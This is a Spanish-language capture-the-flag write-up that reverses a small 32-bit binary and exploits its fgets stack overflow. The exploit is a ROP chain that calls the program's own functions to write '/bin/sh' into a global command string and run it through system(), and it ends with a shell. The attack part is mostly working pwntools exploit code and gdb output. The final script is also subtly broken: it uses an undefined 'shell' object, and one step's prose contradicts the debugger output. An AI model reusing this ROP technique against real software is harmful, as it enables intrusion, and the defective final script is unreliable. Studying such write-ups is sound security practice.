Reversing
Al ejecutar el binario que se otorga muestra un mensaje de bienvenida y pide datos como entrado y los exfiltra, de primeras no queda muy clara su función
❯ ./chal
Servicio de exfiltracion Ocelot v0.1
Recibiendo datos...
AAAAAAAABBBBBBBB
Datos exfiltrados
Iniciamos desensamblando el binario, la función main guarda en una variable command una string que ejecuta un echo, además declara un iterador i en 0
Luego en un bucle que se ejecuta n veces donde n es la longitud la variable command, en cada iteración llama a la función updateCommand pasandole como argumentos el iterador y el contenido de la variable command en la posición i, una vez que termina el bucle llama a vuln y finalmente a la función execCommand
La función updateCommand recibe el indice y un byte, simplemente mueve el byte a la variable command en la posición i, podriamos escribirlo como command[i] = byte
Para entender mejor el bucle podemos establecer un breakpoint en la llamada a updateCommand y vincular a el comandos que muestren ambas variables que se le pasan como argumento, la primera como dword y la segunda como string
❯ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)
pwndbg> x/i 0x80492de
0x80492de <main+73>: call 0x80491f3 <updateCommand>
pwndbg> b *0x80492de
Punto de interrupción 1 at 0x80492de
pwndbg> commands 1
Type commands for breakpoint(s) 1, one per line. End with a line saying just "end".
>x/wx $esp
>x/s $esp+4
>end
pwndbg>
En la primera iteración se le pasa el indice 0 y la cadena e, entonces ejecutariamos un command[0] = "e", en la segunda el indice 1 y la cadena h que equivale a el pseudo c command[1] = "c"; y así byte por byte hasta completar toda la cadena
pwndbg> r
Starting program: /home/user/chal
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x080492de in main ()
0xffffd4a0: 0x00000000
0xffffd4a4: "e"
pwndbg> c
Continuando.
Breakpoint 1, 0x080492de in main ()
0xffffd4a0: 0x00000001
0xffffd4a4: "c"
pwndbg> c
Continuando.
Breakpoint 1, 0x080492de in main ()
0xffffd4a0: 0x00000002
0xffffd4a4: "h"
pwndbg> c
Continuando.
Breakpoint 1, 0x080492de in main ()
0xffffd4a0: 0x00000003
0xffffd4a4: "o"
pwndbg>
Si quitamos los breakpoints y continuamos podemos ver que cuando se termina el bucle ahora la variable command esta llena con el comando que se define al inicio
pwndbg> bc *
pwndbg> c
Continuando.
Servicio de exfiltracion Ocelot v0.1
Recibiendo datos...
^C
Program received signal SIGINT, Interrupt.
0xf7fc7579 in __kernel_vsyscall ()
pwndbg> x/s &command
0x804c040 <command>: "echo Datos exfiltrados"
pwndbg>
Vamos con la función execCommand, esta simplemente ejecuta como comando llamando a la función system lo que se encuentre en la variable command
La función vuln llama a fgets 0x200 o 512 bytes en un buffer que inicia en ebp - 264
Explotación
Iniciamos mirando las protecciones con checksec, este binario solo tiene activada la protección NX que nos impedirá ejecutar shellcode directamente en el stack
❯ checksec chal
[*] '/home/user/chal'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Podemos crear un payload, enviaremos 264 A's para rellenar el buffer antes de ebp, 4 B's que seran el valor de ebp en el leave y 4 C's que tomaran el valor del return address, y finalmente algunas D's que simplemente se guardarán en el stack
❯ python3 -q
>>> b"A" * 264 + b"B" * 4 + b"C" * 4 + b"D" * 24
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDD'
>>>
❯ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)
pwndbg> r
Starting program: /home/user/chal
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servicio de exfiltracion Ocelot v0.1
Recibiendo datos...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDD
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/s $esp
0xffffd4b0: 'D' <repetidos 24 veces>
pwndbg>
Ya que el NX esta habilitado tendremos que hacer ROP, sin embargo las propias funciones del programa nos ayudarán a conseguir una shell, updateCommand nos ayudará a escribir en la variable command y execCommand a ejecutar dicha variable
pwndbg> p updateCommand
$1 = {<text variable, no debug info>} 0x80491f3 <updateCommand>
pwndbg> p execCommand
$2 = {<text variable, no debug info>} 0x804921d <execCommand>
pwndbg>
El primer exploit envia A's para rellenar el offset hasta el return address, nuestra cadena ROP inicia llamando a la función updateCommand, lo primero que se envia en el stack es la dirección de retorno que será a donde retorna al terminar la función, le pasamos el primer argumento como posición 0 y el primer caracter de la cadena /bin/sh que es /, además enviamos unas C's para que se guarden en el stack
#!/usr/bin/python3
from pwn import gdb, p32, u8
shell = gdb.debug("./chal", "b *0x80491f3\ncontinue")
offset = 268
junk = b"A" * offset
cmd = b"/bin/sh\x00"
payload = b""
payload += junk
payload += p32(0x080491f3) # updateCommand()
payload += p32(0x42424242) # return address
payload += p32(0) # position
payload += p32(u8(cmd[0:1])) # character
payload += p32(0x43434343) # more data
shell.sendlineafter(b"...\n", payload)
shell.interactive()
Al llegar al breakpoint establecido en updateCommand podemos ver en el stack el primer dword que es la dirección de retorno y luego los 2 argumentos de la función
Breakpoint 1, 0x080491f3 in updateCommand ()
pwndbg> x/i $eip
=> 0x80491f3 <updateCommand>: push ebp
pwndbg> x/wx $esp
0xffb35fb0: 0x42424242
pwndbg> x/wx $esp+4
0xffb35fb4: 0x00000000
pwndbg> x/s $esp+8
0xffb35fb8: "/"
Saltamos el ret que es el final de la función revisamos la variable global command y el primer caracter lo hemos modificado de e a /, además podemos ver que en el ret apunta a la dirección 0x42424242 que es el primer dword que habiamos enviado
pwndbg> nextret
Temporary breakpoint -11, 0x0804921c in updateCommand ()
pwndbg> x/s &command
0x804c040 <command>: "/cho Datos exfiltrados"
pwndbg> x/i $eip
=> 0x804921c <updateCommand+41>: ret
pwndbg> x/wx $esp
0xffb35fb0: 0x42424242
pwndbg>
Miramos al stack, al llegar a la dirección de retorno en el stack tenemos aún los 2 argumentos y luego la dirección de las 3 C's, lo mas sencillo para seguir con el siguiente caracter seria limpiar esos 8 bytes de los 2 dwords y retornar en las C's para la siguiente iteración que será el ropchain que escriba el siguiente caracter
pwndbg> c
Continuando.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
pwndbg> stack 3
00:0000│ esp 0xffb35fb4 ◂— 0
01:0004│ 0xffb35fb8 ◂— 0x2f /* '/' */
02:0008│ 0xffb35fbc ◂— 'CCCC'
pwndbg>
Lo ideal seria un gadget add esp, 8; ret; pero aunque no existe tenemos un gadget add esp, 8; pop ebx; ret; por lo que necesitaremos enviar 4 bytes de padding y evitar que no salte donde debe, este stack pivot lo encontramos con ropper
❯ ropper --file chal --stack-pivot
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x08049102: add esp, 0x10; leave; ret;
0x0804901b: add esp, 8; pop ebx; ret;
0x080492f9: ret 0x458b;
0x08049213: ret 0xb60f;
0x080492fe: ret 0xc873;
0x0804912b: ret 0xe8c1;
6 gadgets found
Entonces, nuestro exploit es un bucle que llama a updateCommand pasandole los 2 argumentos, la posición y el caracter, y en la dirección de retorno limpiamos el stack para pasar a la siguiente iteración hasta que se completen todos los caracteres
#!/usr/bin/python3
from pwn import gdb, p32, u8
shell = gdb.debug("./chal", "b *0x804921c\nb *0x804921d\ncontinue")
offset = 268
junk = b"A" * offset
cmd = b"/bin/sh\x00"
payload = b""
payload += junk
for i in range(len(cmd)):
payload += p32(0x80491f3) # updateCommand()
payload += p32(0x804901b) # add esp 8; pop ebx; ret;
payload += p32(i) # position
payload += p32(u8(cmd[i:i+1])) # character
payload += p32(0x41414141) # padding for pop
payload += p32(0x804921d) # execCommand()
shell.sendlineafter(b"...\n", payload)
shell.interactive()
Cuando llegamos a updateCommand como return address tenemos el stack pivot y cuando se ejecute quitara los 3 dwords del stack y pasa al siguiente updateCommand
Breakpoint 1, 0x0804921c in updateCommand ()
pwndbg> x/i $eip
=> 0x804921c <updateCommand+41>: ret
pwndbg> x/3i *(int)($esp)
0x804901b <_init+27>: add esp,0x8
0x804901e <_init+30>: pop ebx
0x804901f <_init+31>: ret
pwndbg> stack 5
00:0000│ esp 0xffa63e00 —▸ 0x804901b (_init+27) ◂— add esp, 8
01:0004│ 0xffa63e04 ◂— 0
02:0008│ 0xffa63e08 ◂— 0x2f /* '/' */
03:000c│ 0xffa63e0c ◂— 0x41414141 ('AAAA')
04:0010│ 0xffa63e10 —▸ 0x80491f3 (updateCommand) ◂— push ebp
pwndbg>
Cuando terminamos los bucles y llegamos a execCommand la variable global command ahora contiene toda la cadena /bin/sh y al ejecutarse nos devuelve una shell
pwndbg> bc 1
pwndbg> c
Continuando.
Breakpoint 2, 0x0804921d in execCommand ()
pwndbg> x/i $eip
=> 0x804921d <execCommand>: push ebp
pwndbg> x/s &command
0x804c040 <command>: "/bin/sh"
pwndbg>
El exploit final llena caracter por caracter llamando a la función updateCommand la variable command con la cadena /bin/sh y cuando termina el bucle llama a la función execCommand que ejecuta la variable command con system y devuelve la shell
#!/usr/bin/python3
from pwn import process, p32, u8
offset = 268
junk = b"A" * offset
cmd = b"/bin/sh\x00"
payload = b""
payload += junk
for i in range(len(cmd)):
payload += p32(0x80491f3) # updateCommand()
payload += p32(0x804901b) # add esp 8; pop ebx; ret;
payload += p32(i) # position
payload += p32(u8(cmd[i:i+1])) # character
payload += p32(0x41414141) # padding for pop
payload += p32(0x804921d) # execCommand()
shell.sendlineafter(b"...\n", payload)
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './chal': pid 305681
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$